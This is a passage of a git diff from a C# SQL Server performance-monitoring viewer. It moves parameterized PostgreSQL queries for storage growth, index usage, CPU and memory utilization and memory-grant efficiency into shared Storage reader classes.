-    WHERE server_id = $1 AND database_name = $2 AND collection_time = $3
-    GROUP BY schema_name, table_name
-),
-earliest AS (
-    SELECT schema_name, table_name, SUM(reserved_mb) AS e_reserved_mb
-    FROM v_index_object_stats
-    WHERE server_id = $1 AND database_name = $2 AND collection_time = $4
-    GROUP BY schema_name, table_name
-)
-SELECT
-    l.schema_name,
-    l.table_name,
-    l.cur_reserved_mb,
-    l.cur_used_mb,
-    l.cur_rows,
-    l.index_count,
-    l.cur_reserved_mb - e.e_reserved_mb AS growth_mb
-FROM latest l
-LEFT JOIN earliest e ON e.schema_name = l.schema_name AND e.table_name = l.table_name
-ORDER BY growth_mb DESC NULLS LAST, l.schema_name, l.table_name
-LIMIT $5";
-
-    /// <summary>Daily reserved-MB series for the ranked top-N objects (heatmap). $1 server_id, $2 database, $3 window start, $4 latest instant, $5 earliest instant, $6 topN — the two instants come from <see cref="ObjectGrowthBoundsSql"/>.</summary>
-    public const string ObjectGrowthSeriesSql = @"
-WITH latest AS (
-    SELECT schema_name, table_name, SUM(reserved_mb) AS cur_reserved_mb
-    FROM v_index_object_stats
-    WHERE server_id = $1 AND database_name = $2 AND collection_time = $4
-    GROUP BY schema_name, table_name
-),
-earliest AS (
-    SELECT schema_name, table_name, SUM(reserved_mb) AS e_reserved_mb
-    FROM v_index_object_stats
-    WHERE server_id = $1 AND database_name = $2 AND collection_time = $5
-    GROUP BY schema_name, table_name
-),
-ranked AS (
-    SELECT l.schema_name, l.table_name,
-        l.cur_reserved_mb - COALESCE(e.e_reserved_mb, l.cur_reserved_mb) AS growth_mb
-    FROM latest l
-    LEFT JOIN earliest e ON e.schema_name = l.schema_name AND e.table_name = l.table_name
-    ORDER BY growth_mb DESC, l.schema_name, l.table_name
-    LIMIT $6
-)
-SELECT
-    ios.schema_name,
-    ios.table_name,
-    date_trunc('day', ios.collection_time) AS the_day,
-    SUM(ios.reserved_mb) AS reserved_mb
-FROM v_index_object_stats ios
-JOIN ranked r ON r.schema_name = ios.schema_name AND r.table_name = ios.table_name
-WHERE ios.server_id = $1 AND ios.database_name = $2 AND ios.collection_time >= $3
-GROUP BY ios.schema_name, ios.table_name, date_trunc('day', ios.collection_time)
-ORDER BY ios.schema_name, ios.table_name, the_day";
+    /// <summary>The object-growth series SQL; lives in <see cref="DarlingFinOpsStorageGrowthReader"/>.</summary>
+    public const string ObjectGrowthSeriesSql = DarlingFinOpsStorageGrowthReader.ObjectGrowthSeriesSql;
 
     /// <summary>
     /// Object-growth heatmap data for a single database (#1138 §3A): the ranked top-N summary rows and the
-    /// long-form daily reserved-MB samples (pivoted to a matrix by FinOpsHeatmapBuilder). Two pooled
-    /// commands (mirrors Lite's two-command split for DuckDB's one-result-set-per-command limit).
+    /// long-form daily reserved-MB samples (pivoted to a matrix by FinOpsHeatmapBuilder).
     /// </summary>
     public async Task<(List<ObjectSizeGrowthRow> Objects, List<FinOpsObjectDaySample> Samples)> GetObjectGrowthHeatmapDataAsync(
         int serverId, string databaseName, int daysBack = 30, int topN = 20, CancellationToken cancellationToken = default)
     {
         var windowStart = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-daysBack), DateTimeKind.Unspecified);
 
-        var objects = new List<ObjectSizeGrowthRow>();
-        var samples = new List<FinOpsObjectDaySample>();
-
-        /* #4227: bounds computed once, then handed to both statements below as exact instants instead of
-           each re-deriving them via its own `bounds` CTE. */
-        DateTime? latestTime;
-        DateTime? earliestTime;
-
-        await using (var boundsCommand = _dataSource.CreateCommand(ObjectGrowthBoundsSql))
-        {
-            boundsCommand.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-            boundsCommand.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-            boundsCommand.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName });
-            boundsCommand.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = windowStart });
-
-            await using var reader = await boundsCommand.ExecuteReaderAsync(cancellationToken);
-            await reader.ReadAsync(cancellationToken); /* MAX/MIN with no GROUP BY always returns one row. */
-            latestTime = reader.IsDBNull(0) ? null : reader.GetDateTime(0);
-            earliestTime = reader.IsDBNull(1) ? null : reader.GetDateTime(1);
-        }
-
-        /* No v_index_object_stats row in the window (collection hasn't started, or stopped before the window
-           started) — both old statements' `collection_time = (SELECT ... FROM bounds)` matched nothing in
-           that case, so this is the same empty result without issuing either statement. */
-        if (latestTime is not DateTime latest || earliestTime is not DateTime earliest)
-        {
-            return (objects, samples);
-        }
-
-        await using (var command = _dataSource.CreateCommand(ObjectGrowthSummarySql))
-        {
-            command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-            command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName });
-            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = latest });
-            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = earliest });
-            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = topN });
-
-            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-            while (await reader.ReadAsync(cancellationToken))
-            {
-                var current = reader.IsDBNull(2) ? 0m : Convert.ToDecimal(reader.GetValue(2));
-                /* No earlier sample for this table (new table, or one snapshot only): null, not 0. */
-                decimal? growth = reader.IsDBNull(6) || latest == earliest ? null : Convert.ToDecimal(reader.GetValue(6));
-                objects.Add(new ObjectSizeGrowthRow
-                {
-                    DatabaseName = databaseName,
-                    SchemaName = reader.IsDBNull(0) ? "" : reader.GetString(0),
-                    TableName = reader.IsDBNull(1) ? "" : reader.GetString(1),
-                    CurrentReservedMb = current,
-                    CurrentUsedMb = reader.IsDBNull(3) ? 0m : Convert.ToDecimal(reader.GetValue(3)),
-                    TotalRows = reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4)),
-                    IndexCount = reader.IsDBNull(5) ? 0 : Convert.ToInt32(reader.GetValue(5)),
-                    Growth30dMb = growth,
-                    DailyGrowthRateMb = growth is decimal g && daysBack > 0 ? g / daysBack : null,
-                    GrowthPct30d = growth is decimal g2 && current - g2 > 0 ? g2 * 100m / (current - g2) : null
-                });
-            }
-        }
-
-        await using (var command = _dataSource.CreateCommand(ObjectGrowthSeriesSql))
-        {
-            command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-            command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName });
-            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = windowStart });
-            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = latest });
-            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = earliest });
-            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = topN });
-
-            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-            while (await reader.ReadAsync(cancellationToken))
-            {
-                var schema = reader.IsDBNull(0) ? "" : reader.GetString(0);
-                var table = reader.IsDBNull(1) ? "" : reader.GetString(1);
-                var day = reader.IsDBNull(2) ? DateTime.MinValue : reader.GetDateTime(2);
-                var reservedMb = reader.IsDBNull(3) ? 0d : Convert.ToDouble(reader.GetValue(3));
-                samples.Add(new FinOpsObjectDaySample($"{schema}.{table}", day, reservedMb));
-            }
-        }
-
-        return (objects, samples);
+        var (objects, samples) = await DarlingFinOpsStorageGrowthReader.GetObjectGrowthHeatmapDataAsync(
+            _dataSource, serverId, databaseName, windowStart, daysBack, topN,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        return (objects.Select(o => ObjectSizeGrowthRow.From(o, databaseName)).ToList(), samples);
     }
 
-    /// <summary>Per-index size + usage for one object at its database's latest snapshot (Storage Growth index drill).</summary>
-    public const string ObjectIndexDetailSql = @"
-SELECT
-    database_name,
-    schema_name,
-    table_name,
-    index_name,
-    index_type_desc,
-    index_id,
-    reserved_mb,
-    total_rows,
-    COALESCE(user_seeks, 0) AS user_seeks,
-    COALESCE(user_scans, 0) AS user_scans,
-    COALESCE(user_lookups, 0) AS user_lookups,
-    COALESCE(user_seeks, 0) + COALESCE(user_scans, 0) + COALESCE(user_lookups, 0) AS total_reads,
-    COALESCE(user_updates, 0) AS user_updates,
-    GREATEST(last_user_seek, last_user_scan, last_user_lookup, last_user_update) AS last_user_access,
-    CASE
-        WHEN COALESCE(user_seeks, 0) + COALESCE(user_scans, 0) + COALESCE(user_lookups, 0) = 0
-             AND COALESCE(user_updates, 0) = 0 THEN 'Unused'
-        WHEN COALESCE(user_seeks, 0) + COALESCE(user_scans, 0) + COALESCE(user_lookups, 0) = 0
-             AND COALESCE(user_updates, 0) > 0 THEN 'Write-only'
-        ELSE 'Active'
-    END AS classification
-FROM v_index_object_stats
-WHERE server_id = $1
-AND   database_name = $2
-AND   schema_name = $3
-AND   table_name = $4
-AND   collection_time = (
-    SELECT MAX(collection_time) FROM v_index_object_stats WHERE server_id = $1 AND database_name = $2)
-ORDER BY index_id";
+    /// <summary>The index-detail SQL; lives in <see cref="DarlingFinOpsStorageGrowthReader"/>.</summary>
+    public const string ObjectIndexDetailSql = DarlingFinOpsStorageGrowthReader.ObjectIndexDetailSql;
 
     public async Task<List<IndexUsageRow>> GetObjectIndexDetailAsync(int serverId, string databaseName, string schemaName, string tableName, CancellationToken cancellationToken = default)
     {
-        await using var command = _dataSource.CreateCommand(ObjectIndexDetailSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName });
-        command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = schemaName });
-        command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = tableName });
-
-        var items = new List<IndexUsageRow>();
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            items.Add(new IndexUsageRow
-            {
-                DatabaseName = reader.IsDBNull(0) ? "" : reader.GetString(0),
-                SchemaName = reader.IsDBNull(1) ? "" : reader.GetString(1),
-                TableName = reader.IsDBNull(2) ? "" : reader.GetString(2),
-                IndexName = reader.IsDBNull(3) ? "(heap)" : reader.GetString(3),
-                IndexTypeDesc = reader.IsDBNull(4) ? "" : reader.GetString(4),
-                IndexId = reader.IsDBNull(5) ? 0 : Convert.ToInt32(reader.GetValue(5)),
-                ReservedMb = reader.IsDBNull(6) ? 0m : Convert.ToDecimal(reader.GetValue(6)),
-                TotalRows = reader.IsDBNull(7) ? 0L : Convert.ToInt64(reader.GetValue(7)),
-                UserSeeks = reader.IsDBNull(8) ? 0L : Convert.ToInt64(reader.GetValue(8)),
-                UserScans = reader.IsDBNull(9) ? 0L : Convert.ToInt64(reader.GetValue(9)),
-                UserLookups = reader.IsDBNull(10) ? 0L : Convert.ToInt64(reader.GetValue(10)),
-                TotalReads = reader.IsDBNull(11) ? 0L : Convert.ToInt64(reader.GetValue(11)),
-                UserUpdates = reader.IsDBNull(12) ? 0L : Convert.ToInt64(reader.GetValue(12)),
-                /* last_user_seek/scan/lookup/update (sys.dm_db_index_usage_stats) are SERVER-LOCAL in the
-                   store, not naive UTC, so this GREATEST is read verbatim like Lite — NOT through
-                   ViewerTimeHelper.ForDisplay (which assumes naive UTC and, in Local/Server mode, would shift it). */
-                LastUserAccess = reader.IsDBNull(13) ? null : reader.GetDateTime(13),
-                Classification = reader.IsDBNull(14) ? "" : reader.GetString(14)
-            });
-        }
-        return items;
+        var rows = await DarlingFinOpsStorageGrowthReader.GetObjectIndexDetailAsync(
+            _dataSource, serverId, databaseName, schemaName, tableName,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        return rows.Select(IndexUsageRow.From).ToList();
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Utilization.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Utilization.cs
index d0457662d1..e0ec5d842e 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Utilization.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Utilization.cs
@@ -10,8 +10,7 @@
 using System.Collections.Generic;
 using System.Threading;
 using System.Threading.Tasks;
-using Npgsql;
-using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -25,298 +24,33 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// </summary>
 public sealed partial class ViewerDataService
 {
-    /// <summary>
-    /// Utilization efficiency from cpu_utilization_stats + memory_stats (last 24h) + latest
-    /// server_properties for the core count. $1 server_id, $2 cutoff (naive UTC).
-    /// </summary>
-    public const string UtilizationEfficiencySql = @"
-WITH cpu_stats AS (
-    SELECT
-        AVG(CAST(sqlserver_cpu_utilization AS DECIMAL(5,2))) AS avg_cpu_pct,
-        MAX(sqlserver_cpu_utilization) AS max_cpu_pct,
-        PERCENTILE_CONT(0.95) WITHIN GROUP (ORDER BY sqlserver_cpu_utilization) AS p95_cpu_pct,
-        COUNT(*) AS cpu_samples
-    FROM v_cpu_utilization_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-),
-mem_latest AS (
-    SELECT
-        total_server_memory_mb,
-        target_server_memory_mb,
-        total_physical_memory_mb,
-        buffer_pool_mb,
-        max_workers_count,
-        current_workers_count,
-        CAST(total_server_memory_mb AS DECIMAL(10,2)) / NULLIF(target_server_memory_mb, 0) AS memory_ratio
-    FROM v_memory_stats
-    WHERE server_id = $1
-    ORDER BY collection_time DESC
-    LIMIT 1
-),
-/* cpu_count is the count CPU percent is measured against. On an Azure SQL Database (engine_edition 5) the stored cpu_count
-   is the number of schedulers the database can see (a 1-vCore serverless database read 2), not what it is given, so there it
-   is the vcore_count parsed from the service objective, and NULL for an objective that names no vCores (a DTU-model objective
-   or an elastic pool): never the scheduler count. Every other edition reads as it always did. The same CASE is in the Lite read. */
-server_info AS (
-    SELECT CASE WHEN engine_edition = 5 THEN vcore_count ELSE COALESCE(vcore_count, cpu_count) END AS cpu_count, engine_edition, edition
-    FROM server_properties
-    WHERE server_id = $1
-    ORDER BY collection_time DESC
-    LIMIT 1
-),
-/* Workspace-memory pressure, which is what being short of memory actually looks like: a query asked the
-   resource semaphore for a grant and did not simply get it. Counts of events, so no threshold to tune
-   (#2246). The utilization peak rides along to stop a CPU-quiet server that is straining its semaphore
-   from being called idle. */
-grants AS (
-    SELECT
-        MAX(waiter_count) AS max_grant_waiters,
-        SUM(COALESCE(timeout_error_count_delta, 0)) AS grant_timeouts,
-        SUM(COALESCE(forced_grant_count_delta, 0)) AS forced_grants,
-        MAX(100.0 * granted_memory_mb / NULLIF(target_memory_mb, 0)) AS grant_utilization_pct
-    FROM v_memory_grant_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-)
-SELECT
-    c.avg_cpu_pct,
-    c.max_cpu_pct,
-    c.p95_cpu_pct,
-    c.cpu_samples,
-    m.total_server_memory_mb,
-    m.target_server_memory_mb,
-    m.total_physical_memory_mb,
-    m.buffer_pool_mb,
-    m.memory_ratio,
-    m.max_workers_count,
-    m.current_workers_count,
-    s.cpu_count,
-    COALESCE(g.max_grant_waiters, 0),
-    COALESCE(g.grant_timeouts, 0),
-    COALESCE(g.forced_grants, 0),
-    COALESCE(g.grant_utilization_pct, 0),
-    s.engine_edition,
-    s.edition
-FROM cpu_stats c
-CROSS JOIN mem_latest m
-LEFT JOIN server_info s ON true
-LEFT JOIN grants g ON true";
+    /// <summary>The Utilization-efficiency read lives in Storage; this alias keeps the viewer's SQL pins on the same text.</summary>
+    public const string UtilizationEfficiencySql = DarlingFinOpsUtilizationReader.UtilizationEfficiencySql;
 
-    public async Task<UtilizationEfficiencyRow?> GetUtilizationEfficiencyAsync(int serverId, CancellationToken cancellationToken = default)
-    {
-        var cutoff = DateTime.UtcNow.AddHours(-24);
-
-        await using var command = _dataSource.CreateCommand(UtilizationEfficiencySql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
-
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        if (!await reader.ReadAsync(cancellationToken)) return null;
-
-        var avgCpu = reader.IsDBNull(0) ? 0m : Convert.ToDecimal(reader.GetValue(0));
-        var maxCpu = reader.IsDBNull(1) ? 0 : Convert.ToInt32(reader.GetValue(1));
-        var p95Cpu = reader.IsDBNull(2) ? 0m : Convert.ToDecimal(reader.GetValue(2));
-        var memRatio = reader.IsDBNull(8) ? 0m : Convert.ToDecimal(reader.GetValue(8));
+    /// <summary>The provisioning-trend read lives in Storage; this alias keeps the viewer's SQL pins on the same text.</summary>
+    public const string ProvisioningTrendSql = DarlingFinOpsUtilizationReader.ProvisioningTrendSql;
 
-        var maxWorkers = reader.IsDBNull(9) ? 0 : Convert.ToInt32(reader.GetValue(9));
-        /* NULL is "not collected" (an Azure SQL Database), not 0 workers in use: it shows as n/a and the verdict reads it as unknown. */
-        int? currentWorkers = reader.IsDBNull(10) ? null : Convert.ToInt32(reader.GetValue(10));
+    /// <summary>The memory-grant-efficiency read lives in Storage; this alias keeps the viewer's SQL pins on the same text.</summary>
+    public const string MemoryGrantEfficiencySql = DarlingFinOpsUtilizationReader.MemoryGrantEfficiencySql;
 
-        /* memory_ratio is still SELECTed and still displayed — it is a real fact about the instance — but it
-           is no longer part of the verdict: Total over Target Server Memory converges at 1.0 on any warmed
-           server, so it reported every server as under-provisioned (#2246).
-
-           A window with no CPU sample at all has no verdict: its NULL average read as 0% CPU would call the
-           server OVER_PROVISIONED. The row's empty status is its no-verdict value; the tab shows "No Data". */
-        var status = reader.IsDBNull(0) ? "" : ProvisioningVerdict.Evaluate(
-            avgCpu, maxCpu, p95Cpu,
-            maxGrantWaiters: reader.IsDBNull(12) ? 0L : Convert.ToInt64(reader.GetValue(12)),
-            grantTimeouts: reader.IsDBNull(13) ? 0L : Convert.ToInt64(reader.GetValue(13)),
-            forcedGrants: reader.IsDBNull(14) ? 0L : Convert.ToInt64(reader.GetValue(14)),
-            grantUtilizationPercent: reader.IsDBNull(15) ? 0m : Convert.ToDecimal(reader.GetValue(15)),
-            maxWorkers: maxWorkers,
-            currentWorkers: currentWorkers,
-            engineEdition: reader.IsDBNull(16) ? null : Convert.ToInt32(reader.GetValue(16)),
-            edition: reader.IsDBNull(17) ? null : reader.GetString(17));
-
-        return new UtilizationEfficiencyRow
-        {
-            AvgCpuPct = avgCpu,
-            MaxCpuPct = maxCpu,
-            P95CpuPct = p95Cpu,
-            CpuSamples = reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3)),
-            TotalMemoryMb = reader.IsDBNull(4) ? 0 : Convert.ToInt32(reader.GetValue(4)),
-            TargetMemoryMb = reader.IsDBNull(5) ? 0 : Convert.ToInt32(reader.GetValue(5)),
-            PhysicalMemoryMb = reader.IsDBNull(6) ? 0 : Convert.ToInt32(reader.GetValue(6)),
-            BufferPoolMb = reader.IsDBNull(7) ? 0 : Convert.ToInt32(reader.GetValue(7)),
-            MemoryRatio = memRatio,
-            ProvisioningStatus = status,
-            MaxGrantWaiters = reader.IsDBNull(12) ? 0L : Convert.ToInt64(reader.GetValue(12)),
-            GrantTimeouts = reader.IsDBNull(13) ? 0L : Convert.ToInt64(reader.GetValue(13)),
-            ForcedGrants = reader.IsDBNull(14) ? 0L : Convert.ToInt64(reader.GetValue(14)),
-            GrantUtilizationPct = reader.IsDBNull(15) ? 0m : Convert.ToDecimal(reader.GetValue(15)),
-            MaxWorkersCount = maxWorkers,
-            CurrentWorkersCount = currentWorkers,
-            CpuCount = reader.IsDBNull(11) ? 0 : Convert.ToInt32(reader.GetValue(11)),
-            EngineEdition = reader.IsDBNull(16) ? 0 : Convert.ToInt32(reader.GetValue(16))
-        };
+    public async Task<UtilizationEfficiencyRow?> GetUtilizationEfficiencyAsync(int serverId, CancellationToken cancellationToken = default)
+    {
+        var dto = await DarlingFinOpsUtilizationReader.GetUtilizationEfficiencyAsync(
+            _dataSource, serverId, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        return dto is null ? null : UtilizationEfficiencyRow.From(dto);
     }
 
-    /// <summary>7-day daily provisioning classification trend. $1 server_id, $2 cutoff (naive UTC).</summary>
-    public const string ProvisioningTrendSql = @"
-WITH daily_cpu AS (
-    SELECT
-        CAST(collection_time AS DATE) AS day,
-        AVG(CAST(sqlserver_cpu_utilization AS DECIMAL(5,2))) AS avg_cpu_pct,
-        MAX(sqlserver_cpu_utilization) AS max_cpu_pct,
-        PERCENTILE_CONT(0.95) WITHIN GROUP (ORDER BY sqlserver_cpu_utilization) AS p95_cpu_pct
-    FROM v_cpu_utilization_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-    GROUP BY CAST(collection_time AS DATE)
-),
-daily_mem AS (
-    SELECT
-        CAST(collection_time AS DATE) AS day,
-        AVG(CAST(total_server_memory_mb AS DECIMAL(10,2)) / NULLIF(target_server_memory_mb, 0)) AS avg_memory_ratio,
-        MAX(max_workers_count) AS max_workers_count,
-        MAX(current_workers_count) AS current_workers_count
-    FROM v_memory_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-    GROUP BY CAST(collection_time AS DATE)
-),
-/* Same pressure signals as the point-in-time read, per day, so a day cannot be classified by a rule
-   the current verdict does not use (#2246). */
-daily_grants AS (
-    SELECT
-        CAST(collection_time AS DATE) AS day,
-        MAX(waiter_count) AS max_grant_waiters,
-        SUM(COALESCE(timeout_error_count_delta, 0)) AS grant_timeouts,
-        SUM(COALESCE(forced_grant_count_delta, 0)) AS forced_grants,
-        MAX(100.0 * granted_memory_mb / NULLIF(target_memory_mb, 0)) AS grant_utilization_pct
-    FROM v_memory_grant_stats
-    WHERE server_id = $1
-    AND   collection_time >= $2
-    GROUP BY CAST(collection_time AS DATE)
-)
-SELECT
-    c.day,
-    c.avg_cpu_pct,
-    c.max_cpu_pct,
-    c.p95_cpu_pct,
-    COALESCE(m.avg_memory_ratio, 0),
-    COALESCE(g.max_grant_waiters, 0),
-    COALESCE(g.grant_timeouts, 0),
-    COALESCE(g.forced_grants, 0),
-    COALESCE(g.grant_utilization_pct, 0),
-    COALESCE(m.max_workers_count, 0),
-    m.current_workers_count,
-    sp.engine_edition,
-    sp.edition
-FROM daily_cpu c
-LEFT JOIN daily_mem m ON m.day = c.day
-LEFT JOIN daily_grants g ON g.day = c.day
-LEFT JOIN (
-    SELECT engine_edition, edition
-    FROM server_properties
-    WHERE server_id = $1
-    ORDER BY collection_time DESC
-    LIMIT 1
-) sp ON true
-ORDER BY c.day";
-
     public async Task<List<ProvisioningTrendRow>> GetProvisioningTrendAsync(int serverId, CancellationToken cancellationToken = default)
     {
-        var cutoff = DateTime.UtcNow.AddDays(-7);
-
-        await using var command = _dataSource.CreateCommand(ProvisioningTrendSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
-
-        var items = new List<ProvisioningTrendRow>();
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            var avgCpu = reader.IsDBNull(1) ? 0m : Convert.ToDecimal(reader.GetValue(1));
-            var maxCpu = reader.IsDBNull(2) ? 0 : Convert.ToInt32(reader.GetValue(2));
-            var p95Cpu = reader.IsDBNull(3) ? 0m : Convert.ToDecimal(reader.GetValue(3));
-            var memRatio = reader.IsDBNull(4) ? 0m : Convert.ToDecimal(reader.GetValue(4));
-
-            var status = ProvisioningVerdict.Evaluate(
-                avgCpu, maxCpu, p95Cpu,
-                maxGrantWaiters: reader.IsDBNull(5) ? 0L : Convert.ToInt64(reader.GetValue(5)),
-                grantTimeouts: reader.IsDBNull(6) ? 0L : Convert.ToInt64(reader.GetValue(6)),
-                forcedGrants: reader.IsDBNull(7) ? 0L : Convert.ToInt64(reader.GetValue(7)),
-                grantUtilizationPercent: reader.IsDBNull(8) ? 0m : Convert.ToDecimal(reader.GetValue(8)),
-                maxWorkers: reader.IsDBNull(9) ? 0 : Convert.ToInt32(reader.GetValue(9)),
-                currentWorkers: reader.IsDBNull(10) ? (int?)null : Convert.ToInt32(reader.GetValue(10)),
-                engineEdition: reader.IsDBNull(11) ? null : Convert.ToInt32(reader.GetValue(11)),
-                edition: reader.IsDBNull(12) ? null : reader.GetString(12));
-
-            items.Add(new ProvisioningTrendRow
-            {
-                Day = reader.GetDateTime(0),
-                AvgCpuPct = avgCpu,
-                MaxCpuPct = maxCpu,
-                P95CpuPct = p95Cpu,
-                MemoryRatio = memRatio,
-                Status = status
-            });
-        }
-        return items;
+        var dtos = await DarlingFinOpsUtilizationReader.GetProvisioningTrendAsync(
+            _dataSource, serverId, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        return dtos.ConvertAll(ProvisioningTrendRow.From);
     }
 
-    /// <summary>
-    /// Memory-grant vs used efficiency per day from resource-semaphore snapshots (Optimization sub-tab).
-    /// $1 server_id, $2 cutoff (naive UTC).
-    /// </summary>
-    public const string MemoryGrantEfficiencySql = @"
-SELECT
-    CAST(collection_time AS DATE) AS day,
-    AVG(granted_memory_mb) AS avg_granted_mb,
-    AVG(used_memory_mb) AS avg_used_mb,
-    CAST(AVG(used_memory_mb) * 100.0 / NULLIF(AVG(granted_memory_mb), 0) AS DECIMAL(5,1)) AS efficiency_pct,
-    MAX(granted_memory_mb) AS peak_granted_mb,
-    SUM(grantee_count) AS total_grantees,
-    SUM(waiter_count) AS total_waiters,
-    SUM(timeout_error_count_delta) AS timeout_errors,
-    SUM(forced_grant_count_delta) AS forced_grants
-FROM v_memory_grant_stats
-WHERE server_id = $1
-AND   collection_time >= $2
-GROUP BY CAST(collection_time AS DATE)
-ORDER BY CAST(collection_time AS DATE)";
-
     public async Task<List<MemoryGrantEfficiencyRow>> GetMemoryGrantEfficiencyAsync(int serverId, int hoursBack = 24, CancellationToken cancellationToken = default)
     {
-        var cutoff = DateTime.UtcNow.AddHours(-hoursBack);
-
-        await using var command = _dataSource.CreateCommand(MemoryGrantEfficiencySql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(cutoff, DateTimeKind.Unspecified) });
-
-        var items = new List<MemoryGrantEfficiencyRow>();
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            items.Add(new MemoryGrantEfficiencyRow
-            {
-                Day = reader.GetDateTime(0),
-                AvgGrantedMb = reader.IsDBNull(1) ? 0m : Convert.ToDecimal(reader.GetValue(1)),
-                AvgUsedMb = reader.IsDBNull(2) ? 0m : Convert.ToDecimal(reader.GetValue(2)),
-                EfficiencyPct = reader.IsDBNull(3) ? 0m : Convert.ToDecimal(reader.GetValue(3)),
-                PeakGrantedMb = reader.IsDBNull(4) ? 0m : Convert.ToDecimal(reader.GetValue(4)),
-                TotalGrantees = reader.IsDBNull(5) ? 0 : Convert.ToInt64(reader.GetValue(5)),
-                TotalWaiters = reader.IsDBNull(6) ? 0 : Convert.ToInt64(reader.GetValue(6)),
-                TimeoutErrors = reader.IsDBNull(7) ? 0 : Convert.ToInt64(reader.GetValue(7)),
-                ForcedGrants = reader.IsDBNull(8) ? 0 : Convert.ToInt64(reader.GetValue(8))
-            });
-        }
-        return items;
+        var dtos = await DarlingFinOpsUtilizationReader.GetMemoryGrantEfficiencyAsync(
+            _dataSource, serverId, hoursBack, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+        return dtos.ConvertAll(MemoryGrantEfficiencyRow.From);
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Workload.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Workload.cs
index 5a98840164..6d2f4b95a5 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Workload.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Workload.cs
@@ -14,6 +14,7 @@
 using Npgsql;
 
 using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -27,273 +28,43 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// </summary>
 public sealed partial class ViewerDataService
 {
-    /// <summary>Per-database resource usage from query_stats + file_io_stats deltas. $1 server_id, $2 cutoff.</summary>
+    /// <summary>Per-database resource usage from query_stats + file_io_stats deltas. $1 server_id, $2 cutoff. The SQL and the
+    /// retention-tier routing live in <see cref="DarlingFinOpsDatabaseResourcesReader"/>.</summary>
+    public const string DatabaseResourceUsageSql = DarlingFinOpsDatabaseResourcesReader.DatabaseResourceUsageSql;
 
-    /* ── #1661: retention-tier routing for the aggregate workload queries ───────────────────────────────
-       These sum additively over database_name, which is exactly what the rollups materialize, so routing
